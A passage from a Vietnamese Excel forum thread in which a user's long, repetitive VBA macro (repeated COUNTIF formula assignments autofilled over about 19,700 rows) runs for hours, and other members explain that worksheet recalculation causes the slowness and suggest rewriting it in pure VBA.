Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R58C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19738").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R59C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19739").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R60C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19740").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R61C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19741").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R62C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19742").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R63C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19743").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R64C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19744").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R65C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19745").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R66C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19746").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R67C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19747").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R68C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19748").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R69C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19749").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R70C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19750").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R71C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19751").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R72C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19752").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R73C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19753").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R74C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19754").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R75C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19755").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R76C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19756").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R77C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19757").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R78C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19758").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R79C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19759").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R80C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19760").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R81C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19761").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R82C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19762").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R83C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19763").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R84C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19764").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R85C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19765").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R86C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19766").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R87C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19767").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R88C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19768").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R89C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19769").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R90C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19770").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R91C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19771").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R92C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19772").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R93C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19773").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R94C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19774").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R95C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19775").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R96C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19776").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R97C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19777").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R98C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19778").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R99C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19779").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R100C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19780").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R101C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19781").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R102C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19782").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R103C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19783").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R104C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19784").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R105C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19785").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Range("B2:GA19684").Select
Selection.ClearContents
MsgBox "Xin chao VBA cua ban da chay xong Y"
Sheets("LOK").Select
Range("A2").Select
End Sub

Cu Tồ · 11/11/20

vaioz138gg đã viết:
chạy hết 3-4h đồng hồ

Hại não lắm bạn ơi

. Gán cả mấy chục công thức như thế này rồi kéo cho hết 19 nghìn rưỡi dòng thì thánh nào mà dộ cho được.nhìn là thấy mệt rồi.với lại code toàn là lệnh gán công thức vào ô không à.Chưa xem file của bạn nhưng có lẽ nên lập topic mới nhờ giúp bằng vba thì chơi hẳn vba tối ưu cái bảng tính chứ dùng vba gán công thức rồi kéo thì chậm là đúng rồi

vaioz138gg · 11/11/20

Cu Tồ đã viết:
Hại não lắm bạn ơi . Gán cả mấy chục công thức như thế này thì thánh nào mà dộ cho được.nhìn là thấy mệt rồi

Đại khái nó còn như thế này; nhưng chỉ thay hàm ở ô B2, nhưng chạy lặp đi lặp lại hơn 100 từ B2-GA19684, thì có cách nào tinh giảm hoặc thay hàm để máy chạy nhanh hơn được không ạ các bác
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R6C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19686").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False
Sheets("HN2").Range("B2").FormulaR1C1 = "=+IF(AND(COUNTIF('TK1'!R119C[2]:R218C[2],'HN1'!RC11)>0,COUNTIF('TK1'!R119C[1]:R218C[1],'HN1'!RC10)>0,COUNTIF('TK1'!R119C:R218C,'HN1'!RC9)>0,'TK1'!R7C[-1]>0),1,"""")"
Range("B2").AutoFill Destination:=Range("B2:GA19684"), Type:=xlFillDefault
Range("A1").Copy
Range("A19687").PasteSpecial Paste:=xlPasteValues, Operation:=xlNone, SkipBlanks _
:=False, Transpose:=False

Cu Tồ · 11/11/20

vaioz138gg đã viết:
nó còn như thế này

nó không phải chậm ở code mà do chậm khi tính toán trong bảng tính của bạn,khí bạn gán công thức vào xong kéo xuống 19686 nếu số liệu mà lớn thì chậm là đúng rồi

vaioz138gg · 11/11/20

Cu Tồ đã viết:
nó không phải chậm ở code mà do chậm khi tính toán trong bảng tính của bạn,khí bạn gán công thức vào xong kéo xuống 19686 nếu số liệu mà lớn thì chậm là đúng rồi

Vậy có cách nào thay thế hoặc bổ sung thêm ram và cpu cho nó để nó tính toán nhanh hơn ko các cụ? Cấu hình I7-7700HQ, ram 16gb mà dùng vẫn lâu vậy á. Ram sử dụng mới hết 2gb

Cu Tồ · 11/11/20

vaioz138gg đã viết:
Vậy có cách nào thay thế hoặc bổ sung thêm ram và cpu cho nó để nó tính toán nhanh hơn ko các cụ? Cấu hình I7-7700HQ, ram 16gb mà dùng vẫn lâu vậy á. Ram sử dụng mới hết 2gb

bạn lập cái topic mới bên box lập trình rồi đưa file lên mọi người tham khảo tối ưu bằng cách chạy bằng vba chứ không gán công thức như của bạn nữa.chứ đâu đến nỗi thay ram cpu bạn

Love GPE · 21/11/20

Em chào A/C,
Dưới đây là dòng code lấy số liệu Nhập trong kỳ cho cột F với hàm Sumif.
Sheet3.Range("F4:F" & DongCuoi).FormulaR1C1 = "=SUMIF(ChitietNhap!R4C3:R" & Kn & "C3,Tonghop!RC[-4],ChitietNhap!R4C6:R" & Kn & "C6)"

